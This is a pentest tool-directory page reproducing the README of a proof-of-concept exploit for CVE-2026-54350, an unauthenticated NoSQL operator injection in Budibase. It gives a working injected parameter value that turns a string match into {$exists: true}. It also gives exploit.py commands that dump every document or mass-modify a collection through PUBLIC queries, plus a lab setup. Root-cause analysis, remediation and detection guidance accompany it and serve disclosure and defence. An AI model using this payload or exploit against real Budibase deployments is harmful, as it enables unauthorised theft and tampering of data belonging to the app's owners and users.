Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-54350-Budibase-NoSQL-Injection — PoC for CVE-2026-54350 — Budibase unauthenticated NoSQL operator injection (CVSS 10.0). Read/mass-write any document collection via a PUBLIC query. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-54350-budibase-nosql-injection
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload DevelopmentDatabase Security
GitHubbiitts/cve-2026-54350-budibase-nosql-injection

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-54350-Budibase-NoSQL-Injection

PoC for CVE-2026-54350 — Budibase unauthenticated NoSQL operator injection (CVSS 10.0). Read/mass-write any document collection via a PUBLIC query.

View Repository
72 months agoNot yet reviewed

CVE-2026-54350 — Budibase Unauthenticated NoSQL Operator Injection

Unauthenticated JSON/NoSQL operator injection in Budibase. Any anonymous visitor of a published Budibase app that exposes a PUBLIC query backed by a document datasource (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST with a JSON body) can read every document of the backing collection and, if a public write query exists, modify every document — with a single unauthenticated HTTP request.

CVECVE-2026-54350
AdvisoryGHSA-8qv3-p479-cj62
CVSS 3.110.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CWECWE-943 (Improper Neutralization of Special Elements in a Data Query), CWE-89
AuthNone (unauthenticated)
AffectedBudibase <= 3.39.0 (vendor advisory range)
Fixed3.39.12 per NVD; the injected quotes are already neutralized from 3.39.1, and the explicit fix (processJsonStringSync) lands in 3.39.9
VerdictCONFIRMED — reproduced end-to-end on 3.39.0

Root cause

When executing a query, Budibase enriches the user parameters into the query's raw JSON body with Handlebars, then JSON.parses the result:

root@kitploit:~
enrichContext()   packages/server/src/sdk/workspace/queries/queries.ts
  enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
  enrichedQuery.json = JSON.parse(enrichedQuery.json)

On affected builds the parameter is interpolated without JSON-escaping, so a value containing a " closes the intended string and injects sibling keys into the parsed object. The only input filter, validateQueryInputs() (api/controllers/query/index.ts), rejects only Handlebars markers ({{, }}) — it does not touch ", \, } or $.

For a MongoDB find, the parsed object is passed straight to collection.find() (integrations/mongodb.ts). A duplicate name key whose value is an operator object wins the JSON.parse merge, turning a string equality into {$exists: true} and returning the whole collection. The same primitive against an updateMany query widens the filter to every document.

Access control is bypassed because authorized() (middleware/authorized.ts:141) short-circuits with return next() when the query's resource role is PUBLIC, skipping both session auth and CSRF. The x-budibase-app-id header needed to reach the query is public — it is part of every published-app URL.

See ANALYSIS.md for the full code-level walkthrough and the version-boundary investigation.

The payload

Query body template (as configured in the builder):

root@kitploit:~
{"name":"{{ name }}"}

Injected value for the name parameter:

root@kitploit:~
zzz","name":{"$exists":true},"$comment":"cve-2026-54350

After interpolation and JSON.parse (duplicate-key merge, last wins):

root@kitploit:~
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }

$comment is an inert MongoDB meta-operator that absorbs the template's trailing "} so the whole body stays valid JSON.

Exploit

exploit.py — Python 3 standard library only, no dependencies.

root@kitploit:~
# Dump the whole collection through a PUBLIC read (find) query
python3 exploit.py --url http://target --app-id app_<published> \
    --query-id query_<...> --mode read

# Modify every document through a PUBLIC updateMany query
python3 exploit.py --url http://target --app-id app_<published> \
    --query-id query_<...> --mode write

--app-id and --query-id are public values observed in the published app's own API traffic. --field overrides the JSON key the parameter is bound to (defaults to --param).

Reproduce

Requires Docker. This lab uses --network host (no bridge network assumed) and mongo:4.4 (the host has no AVX; MongoDB 5.0+ requires it).

root@kitploit:~
bash lab/setup.sh
# prints PROD_APP_ID / READ_QUERY / UPDATE_QUERY, then:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
    --query-id <READ_QUERY> --mode read

lab/provision.py drives only legitimate builder APIs — it does not weaken any default. Marking a query's access role PUBLIC is a first-class builder feature (published apps expose data through exactly this mechanism). Full captured run in EVIDENCE.txt.

A note on the affected version

NVD lists the affected range as < 3.39.12. Empirically the bare-quote vector is only exploitable on <= 3.39.0, which is exactly the range the vendor's GHSA advisory states. From 3.39.1 the templating layer already escapes the injected quotes (verified: the same request against 3.39.8 is neutralized), and 3.39.9 introduces the explicit processJsonStringSync fix. This PoC therefore targets 3.39.0, the latest release inside the vendor's affected range.

Impact

  • Confidentiality: unauthenticated bulk read of every document in the exposed collection, including any sensitive fields.
  • Integrity: unauthenticated bulk modification of every document when a public write (update) query exists.
  • Single request, no session, no CSRF token, cross-origin capable.

Remediation

  • Upgrade to a fixed Budibase release (>= 3.39.12, or at minimum >= 3.39.9 where processJsonStringSync JSON-escapes interpolated parameters).
  • Audit published apps for queries whose access role is PUBLIC; restrict them to authenticated roles where possible.
  • For document datasources, prefer parameterized queries over string-templated JSON bodies.

Detection

Look for POST /api/v2/queries/<id> requests, from unauthenticated sessions, whose parameters values contain a " followed by a $-prefixed MongoDB operator ($exists, $ne, $gt, $where, $regex, ...) or a duplicate JSON key. On MongoDB, enable profiling and alert when a query parameter that is normally a string arrives as an object.

Credits

Research and PoC by Caio Fabrício (@BiiTts).

Download Tool